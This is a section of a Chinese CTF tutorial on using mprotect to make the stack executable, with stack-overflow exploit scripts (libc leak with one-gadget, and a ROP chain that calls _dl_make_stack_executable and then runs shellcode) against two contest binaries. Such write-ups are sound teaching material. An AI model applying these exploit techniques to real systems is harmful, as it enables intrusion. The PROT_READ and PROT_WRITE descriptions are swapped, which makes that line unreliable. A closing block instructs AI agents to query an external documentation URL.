# 4.11 利用 mprotect 修改栈权限

* [mprotect 函数](#mprotect-函数)
* [参考资料](#参考资料)

## mprotect 函数

mprotect 函数用于设置一块内存的保护权限（将从 start 开始、长度为 len 的内存的保护属性修改为 prot 指定的值），函数原型如下所示：

```
#include <sys/mman.h>

int mprotect(void *addr, size_t len, int prot);
```

* prot 的取值如下，通过 `|` 可以将几个属性结合使用（值相加）：
  * PROT\_READ：可写，值为 1
  * PROT\_WRITE：可读， 值为 2
  * PROT\_EXEC：可执行，值为 4
  * PROT\_NONE：不允许访问，值为 0

需要注意的是，指定的内存区间必须包含整个内存页（4K），起始地址 start 必须是一个内存页的起始地址，并且区间长度 len 必须是页大小的整数倍。

如果执行成功，函数返回 0；如果执行失败，函数返回 -1，并且通过 errno 变量表示具体原因。错误的原因主要有以下几个：

* EACCES：该内存不能设置为相应权限。这是可能发生的，比如 mmap(2) 映射一个文件为只读的，接着使用 mprotect() 修改为 PROT\_WRITE。
* EINVAL：start 不是一个有效指针，指向的不是某个内存页的开头。
* ENOMEM：内核内部的结构体无法分配。
* ENOMEM：进程的地址空间在区间 \[start, start+len] 范围内是无效，或者有一个或多个内存页没有映射。

当一个进程的内存访问行为违背了内存的保护属性，内核将发出 SIGSEGV（Segmentation fault，段错误）信号，并且终止该进程。

## 例题

例题来自 2020 安网杯，pwn1 是相对简单对栈溢出，pwn2 在此基础上增加了 mprotect 的运用，同时还是一个静态编译的程序。[下载地址](https://github.com/firmianay/CTF-All-In-One/blob/master/src/others/4.11_mprotect)

先来看 pwn1，这是一个 64 位的动态链接程序，开启了 Partial RELRO 和 NX。系统层面 ASLR 也是开启的。

```
$ file pwn1 
pwn1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f92248c7cd330ab53768c281b50d14b4612259f4, not stripped
$ pwn checksec pwn1
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

主函数 main() 先调用 write() 打印字符串，然后进入存在栈溢出漏洞的 vul() 函数，`read(0, &buf, 0x100uLL)` 读入最多 0x100 字节到 0x80 大小的缓冲区。

```
.text:0000000000400587 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000400587 public main
.text:0000000000400587 main proc near
.text:0000000000400587 ; __unwind {
.text:0000000000400587 push    rbp
.text:0000000000400588 mov     rbp, rsp
.text:000000000040058B mov     edx, 9          ; n
.text:0000000000400590 mov     esi, offset aWelcome ; "welcome~\n"
.text:0000000000400595 mov     edi, 1          ; fd
.text:000000000040059A call    _write
.text:000000000040059F call    vul
.text:00000000004005A4 mov     eax, 0
.text:00000000004005A9 pop     rbp
.text:00000000004005AA retn
.text:00000000004005AA ; } // starts at 400587
.text:00000000004005AA main endp

.text:0000000000400566 public vul
.text:0000000000400566 vul proc near
.text:0000000000400566
.text:0000000000400566 buf= byte ptr -80h
.text:0000000000400566
.text:0000000000400566 ; __unwind {
.text:0000000000400566 push    rbp
.text:0000000000400567 mov     rbp, rsp
.text:000000000040056A add     rsp, 0FFFFFFFFFFFFFF80h
.text:000000000040056E lea     rax, [rbp+buf]
.text:0000000000400572 mov     edx, 100h       ; nbytes
.text:0000000000400577 mov     rsi, rax        ; buf
.text:000000000040057A mov     edi, 0          ; fd
.text:000000000040057F call    _read
.text:0000000000400584 nop
.text:0000000000400585 leave
.text:0000000000400586 retn
.text:0000000000400586 ; } // starts at 400566
.text:0000000000400586 vul endp
```

总体思路就是栈溢出控制返回地址，执行 one-gadget。因此，我们还需要泄漏 libc 地址，程序里有 write() 函数可以利用。exp 如下所示：

```py
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

io = process('./pwn1')
elf = ELF('./pwn1')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

pop_rsi_r15 = 0x400611
pop_rdi = 0x400613
write = 0x400595

payload = "A"*0x88 + p64(pop_rsi_r15) + p64(elf.got['write'])*2 + p64(write)

io.sendlineafter('welcome~\n', payload)

write_addr = u64(io.recv(8))
io.recv()

one_gadget = write_addr - libc.sym['write'] + 0x4527a
payload = "A"*0x88 + p64(one_gadget)

io.sendline(payload)

io.interactive()
```

pwn2 是一个 64 位的静态链接程序，开启了 Partial RELRO 和 NX。

```
$ file pwn2 
pwn2: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=a3abf349ced6dccd645f0a95d9d47e8ac1217e3e, not stripped
$ pwn checksec pwn2 
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

由于静态链接程序的执行不再需要 libc，因此 ret2libc 类型的攻击手段就失效了，需要考虑注入 shellcode，但是又开启了 NX 保护，这时就需要使用本节所讲的 mprotect() 函数修改栈的可执行权限。

可以在程序里找到关键函数 \_dl\_make\_stack\_executable()，该函数内部调用了 `mprotect(v3, dl_pagesize, (unsigned int)_stack_prot)`：

```
$ readelf -s pwn2 | grep exec
   635: 0000000000499f70  2296 FUNC    LOCAL  DEFAULT    6 execute_cfa_program
   639: 000000000049af40  2094 FUNC    LOCAL  DEFAULT    6 execute_stack_op
   821: 0000000000474730    92 FUNC    GLOBAL DEFAULT    6 _dl_make_stack_executable
  1831: 00000000006cb168     8 OBJECT  GLOBAL DEFAULT   25 _dl_make_stack_executable
```

```
unsigned int __fastcall dl_make_stack_executable(_QWORD *a1)
{
  __int64 v1; // rdx
  _QWORD *v2; // rax
  signed __int64 v3; // rdi
  _QWORD *v4; // rbx
  unsigned int result; // eax

  v1 = *a1;
  v2 = a1;
  v3 = *a1 & -(signed __int64)dl_pagesize;
  if ( v1 != _libc_stack_end )
    return 1;
  v4 = v2;
  result = mprotect(v3, dl_pagesize, (unsigned int)_stack_prot);
  if ( result )
    return __readfsdword(0xFFFFFFD0);
  *v4 = 0LL;
  dl_stack_flags |= 1u;
  return result;
}
```

构造方法是在进入 \_dl\_make\_stack\_executable 函数之前，将全局变量 \_stack\_prot 设置为 7（可读可写可执行），同时将 rdi 设置为全局变量 \_\_libc\_stack\_end 的值。如下所示：

```
gef➤  x/gx $rsp-0x10
0x7ffef00bbb08:	0x4141414141414141
0x7ffef00bbb10:	0x4141414141414141
0x7ffef00bbb18:	0x00000000004015e7  # pop rsi ; ret
0x7ffef00bbb20:	0x0000000000000007      # rwx
0x7ffef00bbb28:	0x00000000004014c6  # pop rdi ; ret
0x7ffef00bbb30:	0x00000000006c9fe0      # __stack_prot
0x7ffef00bbb38:	0x000000000047a3b2  # mov [rdi], rsi
0x7ffef00bbb40:	0x00000000004014c6  # pop rdi ; ret
0x7ffef00bbb48:	0x00000000006c9f90      # __libc_stack_end
0x7ffef00bbb50:	0x0000000000474730      # _dl_make_stack_executable
0x7ffef00bbb58:	0x00000000004009e7      # vul
```

调用 mprotect 前：

```
     0x474754 <_dl_make_stack_executable+36> add    BYTE PTR [rbx+0x48], dl
     0x474757 <_dl_make_stack_executable+39> mov    ebx, eax
 →   0x474759 <_dl_make_stack_executable+41> call   0x43fd00 <mprotect>
   ↳    0x43fd00 <mprotect+0>     mov    eax, 0xa
        0x43fd05 <mprotect+5>     syscall 
        0x43fd07 <mprotect+7>     cmp    rax, 0xfffffffffffff001

mprotect (
   $rdi = 0x00007ffef00bb000 → 0x0000000000000000,
   $rsi = 0x0000000000001000,
   $rdx = 0x0000000000000007
)

gef➤  vmmap 
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000000000400000 0x00000000004ca000 0x0000000000000000 r-x /home/firmy/pwn/pwn2/pwn2
0x00000000006c9000 0x00000000006cc000 0x00000000000c9000 rw- /home/firmy/pwn/pwn2/pwn2
0x00000000006cc000 0x00000000006ce000 0x0000000000000000 rw- 
0x00000000009b6000 0x00000000009d9000 0x0000000000000000 rw- [heap]
0x00007ffef009d000 0x00007ffef00be000 0x0000000000000000 rw- [stack]
0x00007ffef0194000 0x00007ffef0197000 0x0000000000000000 r-- [vvar]
0x00007ffef0197000 0x00007ffef0199000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
```

调用 mprotect 后，可以看到 0x00007ffef00bb000 到 0x00007ffef00bc000 的栈内存已经是 rwx 权限了：

```
gef➤  vmmap 
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000000000400000 0x00000000004ca000 0x0000000000000000 r-x /home/firmy/pwn/pwn2/pwn2
0x00000000006c9000 0x00000000006cc000 0x00000000000c9000 rw- /home/firmy/pwn/pwn2/pwn2
0x00000000006cc000 0x00000000006ce000 0x0000000000000000 rw- 
0x00000000009b6000 0x00000000009d9000 0x0000000000000000 rw- [heap]
0x00007ffef009d000 0x00007ffef00bb000 0x0000000000000000 rw- 
0x00007ffef00bb000 0x00007ffef00bc000 0x0000000000000000 rwx [stack]
0x00007ffef00bc000 0x00007ffef00be000 0x0000000000000000 rw- 
0x00007ffef0194000 0x00007ffef0197000 0x0000000000000000 r-- [vvar]
0x00007ffef0197000 0x00007ffef0199000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
```

接下来程序跳到 vul 函数，读入 shellcode 到栈上并执行，即可获得 shell。exp 如下所示：

```py
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

io = process('./pwn2')
elf = ELF('./pwn2')

vul = 0x4009E7
write = 0x4009DD

pop_rdi = 0x4014c6
pop_rsi = 0x4015e7
pop_rdx = 0x442626
jmp_rsi = 0x4a3313
mov_rdi_esi = 0x47a3b3

payload  = "A"*0x88
payload += p64(pop_rsi) + p64(7) + p64(pop_rdi) + p64(elf.sym['__stack_prot']) + p64(mov_rdi_esi)
payload += p64(pop_rdi) + p64(elf.sym['__libc_stack_end']) + p64(elf.sym['_dl_make_stack_executable'])
payload += p64(vul)

io.sendlineafter('welcome~\n', payload)

shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x88, "A") + p64(jmp_rsi)

io.sendline(payload)

io.interactive()
```

## 参考资料


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://firmianay.gitbook.io/ctf-all-in-one/4_tips/4.11_mprotect.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
